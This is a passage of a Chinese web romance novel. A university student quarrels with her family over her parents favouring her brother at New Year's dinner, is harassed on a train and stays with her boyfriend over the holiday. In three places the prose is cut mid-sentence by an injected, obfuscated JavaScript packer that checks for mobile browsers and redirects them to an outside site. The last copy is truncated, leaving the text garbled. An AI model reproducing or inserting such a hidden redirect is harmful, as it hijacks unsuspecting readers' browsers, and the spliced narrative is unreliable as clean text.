超市里人很多，鞠然的回头率高到离谱，他起先还没在意，只是喃喃了一句： “这些人没见过帅哥是不是？” 直到被有个大爷用嫌弃的目光上下打量着，鞠然才终于意识到了不对，忙想拿手机出来照照自己。 一个戴着黑色耳钉的肌肉男却向他们走过来：“hi。” 鞠然暂时放下手机，打量着他：“有事？” 肌肉男微微笑着将手机递向鞠然：“方便给个微信吗？” 肌肉男看起来有点像推销健身活动的健身教练，鞠然不是很情愿： “我在其它地方办卡了。” 肌肉男一怔，笑着解释道：“我不是卖卡的，就是单纯的想和你交流交流。” 鞠然挑眉：“你想交流什么？” 肌肉男盯着鞠然看了几秒，有点儿不好意思地挠了挠头：“你，你很可爱。” 鞠然呆住。一道闪电当头劈了下来。 趁着鞠然还没有反应过来，鞠言忙跑了。 她回到家里，前后脚的功夫鞠然便杀回来了，他连脖子都红了，辫子和发夹已然消失不见。 “鞠小比！你完了！”鞠然吼道。 看到他冲过来，鞠言就近往沙发后躲，才绕了不到一圈，鞠然就轻而易举地抓到了她。 他一把将鞠言掀倒在了沙发上，摁着不让她起来。 鞠言完全挣不起来，急道：“你再摁着我，我就把你的照片发到朋友圈去！” “你还敢威胁我是吧！”鞠然换成一只手摁她，空出另一只手开始挠痒痒。 没几下，鞠言就痒得受不了，只能赶紧求饶：“我删掉！我删掉！” 鞠然这才气哄哄地放开她，他并没有要走的样子，等在一旁监督她把照片删除。 鞠言蓬头散发的从沙发上坐起来，才在相册里存了几个小时的“把柄”就这样没有了。 她把最近删除里的记录也删除了，随后将手机举给鞠然看：“没有了吧。” 鞠然仔细检查了一下，确认删干净了后，忽然举起手机“咔咔咔”连拍了好几张鞠言披头散发的照片。 鞠言涨红了脸，连忙去抢。 鞠然逃也不逃，只是举高了手臂，并且朝她扮鬼脸挑衅。 凭鞠言对鞠然的了解，要是现在不逼他把照片删掉，待会儿她就一定会在鞠然的朋友圈欣赏到自己乱着头发的照片。 想到这里，鞠言抱住鞠然的另一只手臂就下嘴咬了一口。 鞠然“嗷”的惨叫了一声，手机脱手往下坠。 鞠言在半空中接住，来不及穿鞋子就往自己的房间跑。 即使她已经用了最快速度，但鞠然腿长步子大，还是抢在她锁上门之前追了上来，两个人隔着门角力，不过对抗只持续了几秒，鞠言的房门便被鞠然推开了。 他再次一把将鞠言放倒在了地上，一手按住她，又预备像之前那样施展挠痒痒，刚回家的叶珊听到动静手持衣架子走了进来： “你们两个再给我闹！” 眼前的景象，她早已习以为常，只是象征性地在鞠然背上抽了一下，呵斥道：“还不快把妹妹放开！” “鞠然拍了我的丑照。”鞠然松开手，鞠言爬起来后第一时间就向叶珊告状。 “删掉！”叶珊命令鞠然。 鞠然狡辩：“哪有，我觉得可爱才拍的，不信你看。”他把刚才拍的几张照片翻出来给叶珊看。 鞠言攥拳道：“鬼才信！” 叶珊看了看屏幕，得出判断：“挺好看的呀！不是很可爱吗？清水出芙蓉，天然去雕饰。” 听到这句评价，鞠然忍不住扑哧一笑。 鞠言瞪了鞠然一眼，偎过去抱住叶珊，求道：“妈，你让他删掉。” 叶珊不想他们再为这个事情打来打去，对鞠然道：“妹妹让你删了你就删了。” 鞠然没办法，不情不愿地拿出手机来把刚才拍的几张照片删除了。 鞠言：“还有最近删除，也要删掉。” 鞠然气哄哄地点进最近删除把那几张照片最后时残留也删掉了。 “两个人都出来帮忙。”叶珊转身往外走。 鞠然跟着她出去，一面扭头朝鞠言扮鬼脸。 鞠言被安排到了厨房打下手，鞠然则是负责收拾客厅。 叶珊正在做第三道菜的时候，鞠然忽然走了进来： “妈，我朋友到我们家来吃年夜饭行吗？” “哪个朋友，林今世吗？”叶珊用勺子翻动着在锅内逐渐张开壳的花蛤。 鞠言正在削莲藕皮的动作微不可查地停了下。 “嗯，可以吗？” “他怎么不在自己家过年？”叶珊忙碌之余诧异地回头看了鞠然一眼。 “他爸爸不回家，他后妈带着自己儿子回娘家过年去了，连保姆都走了，他家就他一个人了。” “这么可怜？”叶珊难以置信。 鞠然颌首：“是啊，所以我想叫他来我们家过年。” 叶珊有些为难：“可——” “哎呀，求你了求你了！”鞠然讨好地捏着她的肩膀。 叶珊带笑乜斜了他一眼，口气放松：“好吧，不过你得把这菜给我洗了。” 鞠然立刻答应下来，叶珊的余光瞥见了正在出神的鞠言，叫起来： “哎呀！你把肉都要削完了！” 鞠言连忙停下手，叶珊把莲藕从她手里抢回去，生气地把她往外赶： “你还是去把客厅桌上那一盆发财果打扮一下吧！” 鞠言心虚地出了厨房，站在桌前，将喜庆的小灯笼和小醒狮一只只挂到发财果上，打扮好之后搬到茶几中央。 鞠然和鞠旭阳两个人一起从杂物间把平时搁置不用的玻璃转盘抬出来擦干净后摆到桌上，预备晚餐时使用。 客厅在经历了一下午的打扮下充斥着浓浓的年味。 鞠旭阳把电视调到直播，身着红西装的主持人正在声情并茂地说着春晚开场词。 门铃响了两声，鞠言的心急跳起来，她不想以不好的形象出现在他面前，连忙快步进卫生间，在镜子前照了下自己的姿容，把头发抿整齐。 她调整好预备给林今世开门时的表情，推开卫生间的门，却看见鞠旭阳已经把大门打开了，她听到林今世的声音从外面传来： “叔叔好。” 鞠旭阳笑道：“就当是自己家，还带东西干什么。”他接过林今世手里拎着的几袋高档礼盒搁到墙边。 林今世身上是纯黑的羽绒服，外面温度低，他把帽子拉上来戴在头上，虽然简单，在他修长的身材加持下却显得格外好看。 看到他鞠言的心就不受控地加快跳动，她控制住脸色，从他身旁走过，进厨房去端菜，彼此没有打招呼。 随着不断从厨房飘散出的锅铲声和香气，桌上的菜逐渐丰盛起来，冒着热气的瓷盘一个挨着一个。 叶珊将最后一道炸肉丸子搁到桌上，笑吟吟地说道： “过年吃丸子，团团圆圆！” 她擦着手在鞠然身旁坐下，年夜饭正式开始。 春晚的节目鞠言并不感兴趣，只是安静地低头吃着饭，虽然她已经极力在克制了，但余光却仍不受控地去注意林今世。 虽然叶珊和鞠旭阳已经尽量关照他了，但林今世到底是外人，夹在他们其乐融融的一家人里仍是很拘束。 似乎是为了不打扰他们一家四口的相处，林今世一句话都没有说，只是一个人静静地吃饭。 鞠言觉得他像个寄人篱下的孩子，不由得一阵心酸。 叶珊客气地往他碗里夹了只葱油蛏子，林今世只是说了声：“谢谢阿姨”，但却并没有用筷子去碰那只蛏子。 他似乎是因为不喜欢葱，即使只是在上面点缀了一点葱花的菜他也不会去夹，只选那几道没有葱的菜吃。 但桌上的菜几乎都搁了葱。 鞠言正在出神，目光忽然注意到了鞠旭阳往鞠然碗里放虾的手。 鞠然很爱吃虾，父母也知道他喜欢，所以今天的圆桌上，有关虾的种类就足有三样：白灼、椒盐、红烧。 夫妻俩总是放下筷子，一起给鞠然剥虾，把他的碗填满虾肉。 其实鞠言的口味也和鞠然一样，也喜欢吃虾，可叶珊和鞠旭阳却似乎从来没有注意过她。 这一回也没有例外。 鞠然的碗已经被虾肉填满了，但夫妻俩还在往他碗里送着。 鞠言不自觉垂睫看了眼自己空荡荡碗。 虽然平时也能从枝叶末节上感觉出在父母更爱的是鞠然，可赤裸裸地摆到面前，鞠言还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305823|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很难过。 哥哥是锦，她是上面添绣的小花，可有可无。有时还会被嫌太过繁华了累赘。 鞠言垂着眼睛，若无其事地夹菜，筷子避开所有和虾有关的菜，没有任何兴趣的模样。 眼睛却酸酸的，有点想哭，她强忍着没让眼泪流下来，静默而机械地把饭送进嘴里。 她怔了下，似乎有虾肉的味道，鞠言朦胧的视线聚焦，垂睫看向自己的碗。 除了她刚才吃进嘴里的那一只，她的米饭上还放着一只剥了壳的虾肉。 她仰起脸朝父母看，他们正全神贯注地给鞠然剥虾，夫妻俩脸上都带着平淡而愉快的笑颜。 完全不像有注意到她的样子。 那这两只虾是谁剥给她的…… 鞠言悄悄朝林今世看了一眼，他正在往杯中倒椰子水，碗边有橙透的虾壳，感觉到她的目光，他冷淡地抬眼。 鞠言连忙错开目光，在心里怪自己自作多情。 虚朦的余光中，父母的手不时向哥哥的碗里移动着，鞠然用手遮住碗，“我不要了，你们给比比吧。” “比比哪有你那么爱吃虾啊。”叶珊笑着。 “她也很爱吃的。”鞠然边说，边把自己碗里的虾肉划了一大半到鞠言的碗里。 原来是鞠然…… “我不要。”鞠言冷声道，迁怒地将鞠然给她的半碗虾肉，连同先前那一只一起，都一股脑拨回了他的碗里。 “……” 父母终于察觉到了她的异常，叶珊呆了呆，把本来剥给鞠然的虾肉送进了她的碗里，亲昵地一口一个“小棉袄”的挽回。 鞠言一言不发地把她剥给她的那只虾也丢到了鞠然的碗里。 空气陷入沉默，鞠旭阳望着她不说话，两眉间的距离在逐渐拉近，鞠旭阳是建筑工程师，平时工作忙，很少回来，鞠言知道他是在怪她不懂事，怪她为什么偏要挑在其乐融融的时间发脾气。 鞠言冷着脸将最后一只虾拨给鞠然，起身拿了碗筷搁到厨房的水槽里，转身进了房间。 片晌后，门被扣了两声，叶珊开门进来，她轻描淡写地笑道： “好啦，出来吃饭，妈妈只给你剥虾，不给哥哥剥了！” 鞠言趴在书桌上背对她：“我不要，你出去。” “出来出来！”叶珊笑着拉住鞠言的一条手臂，想把她拖起来。 鞠言用力甩开她的手。 叶珊：“好好的过年，你不在多不像样，给妈妈个面子，不然等下不给你红包了！” 鞠言：“有鞠然在不就可以了，反正你们都更喜欢他。” “你爸爸偏心你哥哥，妈妈偏心你。”叶珊笑起来，又来拉她。 鞠言冷笑一声：“你心里到底偏心谁，你自己清楚。” “你这孩子怎么哄不好了？”叶珊烦起来，“非要在这个时候闹脾气吗？” 鞠言坐起身，盯着她的眼睛问：“那你们为什么就要在过年的时候明目张胆地偏心鞠然呢？” 叶珊两手抱臂，在旁沉默地盯着她，过了片刻，她忽然摆出了一副无所谓的态度，大方承认下来，“我就是更喜欢儿子，你说我重男轻女好了。” 言下之意：你能拿我怎么样。 鞠言手指攥紧，咬牙道：“那你们干嘛还要再生一个！我是什么，你们追求的儿女双全，家庭圆满的一环吗？” 她说的毫不留情，叶珊的嗓门也不受控地大了起来： “你说话要有良心！这么多年来爸爸妈妈有哪点对不起你了？别说家庭圆满，要是没你我能省多少心，还用得着现在受你的气！” 声音穿透了门扉，片刻后，鞠旭阳开门进来，眉头紧攒，对叶珊道：“随她去吧，来吃饭吧。” “……”叶珊和她对峙了一会儿，气呼呼地不关门离开。鞠言木着脸走过去将房门重重地甩上。 将门反锁后，鞠言坐到椅子上，将耳机戴上开始放歌。 泪水不受控地泛滥，鞠言屈起腿，将脸埋在膝上，紧咬着唇将哭声咽下去。 在音乐声中隐约听见有转动门把手的响动，鞠言保持着原来的姿势没动，当没听见，手机响了一声，她也没去看。 直听音乐到耳朵发痛，鞠言哭累了，情绪也平复了下来，点亮屏幕，里面是鞠然在几个小时前发来的两条微信： 【是我，开下门。】 【饭给你放门口了，虾是我剥的。】 鞠言没有回，而是点进了铁路购票软件，因为是新年，从玉雾到清津近期只有一个班次了，凌晨五点二十发车的，她的目光在屏幕前犹豫了几秒，随即干脆地点了购票。 她点进放假时辅导员发在群里的消息，看了下宿舍恢复供电时间，还有三天。 鞠言放下手机，开始收拾行李，她并不打算告诉家人她要回清津，要是他们知道了，肯定会劝她留下的，与其费口舌，不如先回去了再跟他们说一声。 收拾完行李她有些累，便倒在床上眯了会儿，再醒来时，已经是第二天的凌晨了，距离发车时间还有一个小时。 鞠言拉开窗帘看了一眼，外面的天色还像是黑夜，对面整幢楼处于熄灭的状态，一扇扇整齐排序的窗格睁着黑而深的眼睛和她对望着。 冷风飕飕，垂发刮过脸颊像是冰丝，仅仅一会儿，鞠言便已冷得有些头疼。 她在衣柜的抽屉内找了顶薄荷绿的兔耳针织帽戴上，轻手轻脚地提着行李箱出去。临到房门口，鞠言回头望了一眼自己在学校朝思暮想了许久的床。 或许，明年也不会再见了。 她怅然收回目光，将摁着的门把手轻而缓地松开，尽量不发出响动地关上房门，一回脸忽然发现客厅里有个黑森森的人影。 鞠言被吓得差点喊出声，对方也被微微吓了一下。 各自镇定几秒后，林今世简单解释了一句自己为什么凌晨四点出现客厅的原因： “有些口渴。” 鞠言点了点头，抬手抿了下不需要理的鬓发。 林今世的目光在她的行李箱上停了下，漫声问： “要回清津？” 21. 第 21 章 跟他交谈让鞠言有些局促，只轻轻“嗯”了声。 林今世：“学校宿舍还没有电，你打算住哪？” “还没找好，应该会住酒店。” 寂静的环境使双方的声音都不由自主地压得很低，随着客厅的冷空气轻飘。 “我在那边有房子，市中心的华景都城，你愿意的话，可以先住那儿。” 鞠言有些诧异，不禁抬眸看向他，没想到林今世也正注视着她，目光相遇，凌晨光线暗淡的客厅，他的眸色如月。 鞠言慌不择路地垂下眼，仅是一眼，她便紧张得连话都不会说了，只摇了摇头，隔了片刻才细声说：“不麻烦了。” 林今世没有强求，喝完水放下杯子，走过来牵走她的行李箱。 “我送你上车。”他冷淡地回答她讶异的眼神。 太早了，还没有班车，鞠言在手机上打了一辆网约车，等他们出小区，车子还没有到。 万籁俱寂，林今世一手插兜，一手牵着绿色的行李箱，陪她等在黯淡的灰紫色中。 凌晨的风寒冷新鲜，刮得鞠言抽鼻子，她偷偷瞧了林今世一眼，他站在一盏光线迷朦的街灯旁，由于是临时出门，身上只是一件薄薄的灰色卫衣，鞠言有些担心他会感冒。 林今世忽然毫无征兆地问： “你有男朋友了？” “……嗯。”鞠言轻轻应了一声。 “……” 林今世没再说什么，似乎只是随口一问，氛围再度寂静。 远处传来车轮声，两道黄光照破暗雾而来，白色轿车在他们身旁驶停。 林今世替鞠言把行李箱放进后备箱，在阒无人声的凌晨“砰”的一声将后车门关闭。 鞠言降下车窗，对他道：“谢谢。” 林今世微不可察地点了下脸，他两手抄在兜里，转过身踏着寂静的冷风往回走，鞠言趴在窗沿上，望着他愈来愈远的背影。 他的灰色卫衣在灰蒙的曙色中消融，只剩下后背一只银色的蝴蝶在半空中若隐若现。 他要走了，大学四年她都不能再在学校里看到他了，她的眼睛逐渐酸起来。 伴随她高中三年的暗恋，就要无人知晓地落幕了。 鞠言攥紧手，这或许是她最后一次与他有单独说话的机会，她不想留下遗憾。 “麻烦等一下。”她对司机道，打开车门跑下去。 “林今世。” 这是她第一次喊他的名字，鞠言紧张到甚至感觉不到身体的存在。 他的脚步停下，略回过脸。 鞠言鼓起勇气，仰起脸看着他：“新年快乐。” 她的声音被冷风吹得轻颤，林今世望着她湿润的眼睛，不曾知道眼前的女孩从第一眼见到他就一直喜欢他，直到此刻，也依然喜欢着他。 “你也是。” 车子启动。该满足了，鞠言收回目光，心底惆怅而释然。 _ 新年的第二天，凌晨五点的火车站台冷清空荡，一如她落寂惨淡的心情。离发车还有几分钟，鞠言在空旷的连排铁椅上坐下，凉意直透过牛仔裤浸入她的皮肤。 她打开手机在家庭群里简单通知了一声： 【我回学校了。】 很快就收到了叶珊回复的语音，声音里的怒气显而易见： 【你也太任性了，就因为这么点事，不说一声就走了！】 她又发了五六条几十秒的语音，鞠言都没有再听。 鞠言昨天没睡好，今天起的又早，才刚上火车没一会儿，便有些困意。但她怕自己会睡过头，硬是熬到了中转完成后，才卧在第二班车的座位上补了会儿觉。 再睁开眼睛时，已经下午一点多了。 她看了眼手机，八点钟时，周孝明给她发送了一条早安微信，下面是一些他在看的书的文摘。 除了他的消息外，还有才刚收到没一会儿的鞠然的转账，他应该才刚起来。 鞠言点开附带的语音： 鞠然的声音不似平时轻快，多了几分严肃： 【女孩子在外面不能没钱，你先收了，等开学了再还我就行。】 其实鞠言的资金还充裕，但不收的话鞠然肯定会再发消息过来，她也不想让他担心。 她收了钱，回复道：【嗯，谢谢。】 随后，鞠言点开周孝明的聊天框，将他发过来的微信一一回复。 不等她回完所有消息，周孝明先发过来了一条语气宠溺的语音： 【小懒虫，你现在才醒吗？】 鞠言：【在火车上睡了会儿午觉，今天起的太早了。】 周孝明：【噢，出去旅游吗？】 鞠言：【不是，在回清津的火车上。】 周孝明：【这么快？才正月初二。】 鞠言：【嗯，和爸妈吵架了。】 周孝明：【几点到车站？我来接你。】 鞠言困惑：【你还在清津吗？】 周孝明：【嗯，我家离得远，来回的飞机票太贵了，我父母也理解，就让我不用回去过年了。】 鞠言看了眼预计到达时间，她只买到了中转的火车票，要比高铁多乘好几个小时，等到清津已经是傍晚了。 她将页面截了个屏发送给周孝明。 车内有大量没有售出票的空座，大多数乘客为了舒适，都改变了车票上固定的位置，而是选择一个人坐靠窗的双人座。 一个厚嘴唇的老男人却走了过来，挨着鞠言坐下。 他岔开双腿，手肘有意无意地朝鞠言胸部蹭过来。 鞠言果断站起身换了个座位，只是她才刚坐下没一会儿，老男人又跟了过来，若无其事地在她身旁的位置坐下。 他似乎觉得需要找个借口，掏出手机假模假样地边把手机递给她，边挨近过来。 “小姑娘，你帮我看看我的座位在哪里。” 鞠言没有接，她镇声道：“请你从我身边离开。” 车上的大多数人都在睡觉，老男人不肯放弃纠缠，把手机往她身上推：“你帮我看一下，我年纪大了，眼睛不好。” 鞠言不理他，挡开他的手，顾自拿出手机联系了乘务员。 不到一分钟，乘务员就来了，鞠言把情况跟她说了一遍，乘务员听后，当即就严肃地请老男人离开她的身旁。 老年人恼羞成怒：“怎么我不可以坐这里吗？我碰她一根手指头了？” 乘务员：“麻烦您坐到你自己的位置上去。” “我就坐这儿了，你想怎么样？” 乘务员：“您再这样我就要叫乘警了。” 老男人这才不甘心地站起身，骂骂咧咧地训斥鞠言： “现在的年轻人！一点都没有爱心，不知道尊老爱幼！” 乘务员好声好气：“请把您的车票给我看一下，我帮你找座位。” “不用你管！”老男人冲她咆哮了一声，随即气冲冲地瞪着鞠言，随便找了个空位置上坐下。 _ 经历了一天的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305824|182829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车程，终于到达了清津。 鞠言从暖融融的列车上下来，露天月台凛冽的寒风瞬间将她的困意吹的一丝不剩，鞠言把围巾往上拉了拉，遮住下半张脸，牵着行李箱往台阶上行。 她随着零星的几个乘客到了一楼，一起往出站口走。空旷的通道上，只有行李箱合奏的噪音。 通过闸机，傍晚六点，外面的天色已是黑茫茫一片，鞠言从口袋拿出手机，想给周孝明发条微信，告诉他自己到清津南站了。 还没解锁屏幕，她不经意抬眼，遥遥望见了火车站外寂寥空阔的大广场上，有一道修长的白影在等候。 鞠言的脚步停住，她还不确定那是不是他，可这如曙光的白影却已映进了她的心里。 在这孤寂的冬季夜晚，有个人在零下温度的冷风中孤零地等着她。 鞠言牵着行李箱走到他身旁，周孝明的脸被洁白的羽绒服帽子拥着，他摘下耳机，在昏暗中对她微笑。 鞠言眼眶暖热，扑簌簌落下的两道泪水短暂温暖她冰冷的脸颊。 周孝明微怔，摘除手套，用拇指轻轻替她抹去。 夜静风冷，他声音却是温暖的。 “你怎么了？” 鞠言没忍住，一下扑进周孝明的怀里，她将脸埋在他的胸口，浅声道：“已经没事了。” 周孝明静静地拥抱住她，白色的衣袖环着她冰冷的浅绿羽绒服。 两人在冷风中拥抱良久才分开。 周孝明问：“你有找好住的地方吗？” 鞠言摇摇头：“还没有，实在不行的话就先去青旅住几天。” 春节期间，酒店的价格上涨了几倍，鞠言看来看去也没找到合适的。 “青旅太不安全了。”周孝明立刻反对。 他思忖了下：“要不去我那里吧？我在这边有租的房子，就在文荷南路。” 鞠言：“那会不会给你造成麻烦？” 他温和一笑，柔声：“怎么会。” 周孝明从鞠言手里牵走行李箱，一起去公交站等车，他戴着露指手套的手与她十指相扣，裸露在外的指尖温暖地轻贴在鞠言的手背上。 两人从火车南站坐公共汽车到周孝明的小公寓时，已经快八点了。 周孝明开了灯，让鞠言先进去，她在玄关换上一双男式棉拖鞋，边朝里进，边打量着 一室一厅的小套间，收拾的整洁舒适。地段不错，离商圈和地铁站都很近，月租应该不便宜，怪不得周孝明平时从不乱花钱。 周孝明打开冰箱，浏览了下里面有什么吃的，他回过头问鞠言，“想吃面条还是蛋炒饭？” “想吃面条。” 鞠言坐在沙发上，隔着玻璃门望着周孝明捋高蓝袖在厨房忙碌的背影。 她将盖在膝上的黄色毯子拿到一边，起身走过去，鞠言移开玻璃门，想问下有什么能帮忙的。 “孝明——” 正在洗菜的周孝明被吓了一跳，他旋过身望着她，俊眼睁得圆圆的。 鞠言觉得这一幕的他很可爱，她忍不住笑了：“用不用我打下手？” 周孝明的神情恢复如常，含笑摇了摇头，“你去外边吧。” 鞠言发觉他的脸颊上溅了几点水珠。 “你转过来一下。” 周孝明听话地朝她侧过身，鞠言踮起脚，他不明其意，却立刻配合地俯下腰。 她用手指轻轻将他脸颊上的水珠拭去，周孝明安静地望着她，慢慢靠近，在她的额头上落下一吻。 22. 第 22 章 汤锅内沸腾的水，氤氲了关闭的窗玻璃，也微微蒸热了鞠言的脸，她收回手，小声道：“好了，没有了。” 周孝明笑了笑：“你到外面去吧，这里没什么需要帮忙。” 五分钟不到，周孝明便端着一只冒着热气的汤锅出来，鞠言已经提前在桌上摆好了隔热垫。 周孝明的厨艺很不错，简单的青菜鱼丸面，鲜嫩的青菜带着一簇簇黄色的小花。清淡而鲜美。 他跟往常一样，把面条中的鱼丸一个个夹到她的碗里。 鞠言有些不好意思，护住碗：“我够了，吃不完的，你自己也吃一点吧。” 他含笑点了下头，不再把丸子往她碗里送。 鞠言将自己冒着热气的碗推过去，与周孝明的碗轻轻碰了下，她嫣然一笑：“这一餐是我们的年夜饭。” 隔着关闭玻璃窗，爆炸声此起彼伏，闪亮的烟花在漆黑的夜幕撒开无数道金色的丝浪。 周孝明声如温玉： “嗯，我们一起度过的第一个新年。” - 鞠言奔波了一天早已累了，吃好了晚餐，洗了个澡早早地钻进了被窝，周孝明把卧室让给了她。 周孝明的被子意想不到的柔软，还存有他身上的淡香，睡在里面仿佛是和他的身体亲密接触，鞠言脸一红，赶忙将脑海中的想法赶跑。 由于换了陌生的床，鞠言睡的不怎么好，做了一晚上的乱梦，很早就醒了，她摸过床头柜上的手机看了眼时间，才6:20分…… 鞠言熄屏手机，又在床上赖了十多分钟，才换好衣服从卧室出来。 由于窗帘紧闭着，客厅昏朦朦的，鞠言朝沙发上看了一眼，周孝明还没有醒。 她怕吵醒他，并没有开客厅的灯，摸着黑到卫生间，轻手轻脚地完成了洗漱。 从卫生间出来，鞠言注意到周孝明的蓝色被毯滑落到了背上，她静悄悄地走过去，替他把被子拉好。 公寓外面就有一家超市，很方便。鞠言不会做别的，便只买了些做三明治的材料，她昨晚看见厨房里有三明治机。 回到楼上时，周孝明正好醒，他揉着惺忪的睡眼从沙发上坐起来，和她道了声：“早。” “是我把你吵醒了吗？”鞠言把门关上。 周孝明边戴眼镜，边摇了摇头：“自然醒。” 趁他洗漱的时间，鞠言将三明治和煎蛋做好，摆到原木小餐桌上。 周孝明在她对面的位置坐下，从玻璃水壶中倒了杯热水喝。 鞠言腼腆地向他微笑：“我第一次做，有可能会不好吃。” 周孝明从瓷盘中拿起三明治咬了一口，眼中流露出赞赏，他点了点头：“很好吃呢。” 吃完早餐，周孝明站在白色的小咖啡机前，给鞠言和自己各做了一杯热咖啡。 鞠言的是拿铁，他自己则是美式。 鞠言眨了眨眼睛：“喝热美式不像喝中药吗？” “喝习惯了就还好。”周孝明笑了，他望着鞠言忽然想到了什么： “我想和你商量件事。” “嗯？”鞠言两手握着温暖的马克杯，嘬了一小口。 周孝明：“寒假时间短，你一个人在寝室也不方便，要不就在我这里住到开学吧？” 学校里的食堂、超市都还没开始营业，住在周孝明这里会更方便许多，只是鞠言有些不好意思： “会不会太麻烦你了……” 闻言，周孝明的眼睛在咖啡飘散的热雾后弯成月牙。 “没事，我喜欢睡沙发。” 住在一起后，两个人还是跟从前在学校时一样，吃过饭后，先去楼下散会儿步，再回到书房里阅读学习，鞠言有时还会偷懒看会儿电影，周孝明却很少有不在学习的时候。 他远比她想象中还要刻苦。 周孝明的公寓里有一整面书墙，整洁有序地摆满了书，大多是原文的国外文学，每一本都崭新得像是新书。 鞠言站在书柜前，踮起脚抽出一本小说随手翻了翻，她本以为这本书是刚拆封的，却发现里面有不少读书笔记，皆是周孝明的字迹。 鞠言将书插回书架，又拿了另一本出来翻了下，同样也是做过笔记的。 她有些惊讶，回过头问坐在书桌前看《红楼梦》的周孝明： “这些书你都看完了吗？” 周孝明仰起脸，谦逊地笑了笑：“还有三本没看完。” 鞠言转回脸看了看那一面书墙，不禁有些佩服。 书柜上《红与黑》的原文本和中译本都有，鞠言踮起脚，想从最高层的书架上拿那本中译本，但书架最高层接近两米以上，鞠言伸直了手臂了还是有些够不到。 “我来吧。” 周孝明站起身走过来，抬臂替她将要的书拿了下来，他看了眼书名： “你不是已经看过了吗？” “想看看你做了什么笔记。”鞠言走到周孝明对面的位置坐下。 周孝明本想归坐，望了她一眼，不知注意到了什么，没有坐下，而是走出了房间。 鞠言没有在意，她喝了一口热拿铁，低下脸认真看书。 周孝明回到书房，径直走到她身旁蹲下，鞠言低下脸看他：“怎么了？” 周孝明没有立刻回答，他轻轻地把她的一只脚从棉拖鞋中拿出来，随后把拿在手中的白袜子温柔地套到她雪白的裸足上。 他仰起脸朝她微笑：“女孩子冬天赤着脚对身体不好。” 鞠言有点不好意思，小声道： “谢谢……” “没关系。”周孝明蹲在地上，用双手握住她在袜中的双足，“让我帮你捂热一些，可以吗？” 足部传来轻微的酥痒感，第一次有男人触碰她的脚，虽然隔了袜子，鞠言不禁还是有点脸红起来。 她冰凉的双脚被他宽大的双手包裹着，男人手掌的温度一层层暖进来，很舒服。 周孝明替她捂了好几分钟，等她的双脚恢复正常的温度了，他才松开手，慢慢站起身。 望见鞠言泛红的脸，周孝明微微一笑，他俯下身，侧脸在她的脸颊上轻轻一吻： “你这样单纯，让我什么都不敢做了呢。” 鞠言的脸更红了，小声道：“我以前怎么不知道你这么流氓……” 周孝明慢慢朝她靠近，倾身压下来，他的声调低而缓： “还有更流氓的，你想知道吗？” 鞠言不自觉向后退了退，偏开脸不和他对视，余光注意到周孝明桌上摊着的是《红楼梦》，忙推开他，随口问道： “《红楼梦》里你最喜欢哪个角色？” 她自己都觉得这个话题转的很生硬，周孝明注视着她微微一笑，隔了几秒才回答： “惜春。” 鞠言稍感意外，她以为周孝明会更喜欢“送我上青云”的宝钗，她读《红楼梦》时对惜春这个角色印象最深的就是她那一句清醒而决绝的谚语： “‘不做狠心人，难得自了汉’”。 - 傍晚时分，夜色渐浓，外面滴滴答答下去冷雨来。 周孝明抬起手腕看了眼时间，随后合上小说，他站起身询问道： “比比，晚餐想什么菜？” “我和你一起去吧。”在家里窝了一天了，鞠言也想出去走走。 周孝明朝窗外看了一眼，柔声道：“外面在下雨，你换件厚点的外套。” “嗯好。”鞠言听话地去卧室换了身厚的衣服。 两人手牵手走在湿润的街道上，鞠言半张脸埋在蓝色围巾中，飘落的雨点子虽小，可被风一吹，却很有些冷意。 周孝明侧头看了她一眼，随即停下脚步，他把伞递给鞠言，自己弯下腰，仔细地把她的围巾整理了下，确保没有漏风的地方后，才重新从她手中接过伞。 超市内开着暖气，很是温暖。 周孝明的公寓里东西很齐全，没有其他生活用品，两人悠闲地推着手推车，径直去往生鲜区挑选晚上想吃的菜。 经过水产区，鞠言俯下身去，双手撑膝看着玻璃水缸中浮来浮去的河豚。 周孝明松开手推车，学着她的动作俯下身。 鞠言笑着用手指给他看：“河豚的嘴巴好像香肠嘴。” 的确很像，周孝明不由得扑哧一声笑，看向她： “要吃吗？” “河豚你也会做吗？”鞠言有些惊讶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周孝明回过脸来冲她笑笑：“小时候我妈妈出去工作就是我给我爸爸做饭的。” “……” 鞠言怔了下，眼前蓦地跳出了小小的周孝明在比他还要高的灶台前忙碌的背影，她有些心疼，原本被美食勾起的好心情顿时低落了下去。 忍不住伸手过去牵住了周孝明闲着的手。 “怎么现在也要手牵手？”周孝明微笑着回过头看她，触到鞠言心痛的目光，他微微愣了下，随即回握住她的手： “也是有好处的不是吗？以后我们结婚了，我可以天天给你做想吃的菜。” “……”鞠言微怔。 周孝明扑哧一笑，回头看她：“别吓到了，不是现在向你求婚。” 鞠言红着脸没说话。 “……”他的目光在她变红的脸上停留了许久，直到一股焦糊的味道从锅中飘散出来。 鞠言连忙提醒他，但已经来不及了，周孝明看着那一锅发黑的虾仁苦笑道：“我明天再给你做。” 晚上快睡觉时，周孝明接好了一桶温度适宜的热水，拎到鞠言的脚旁。 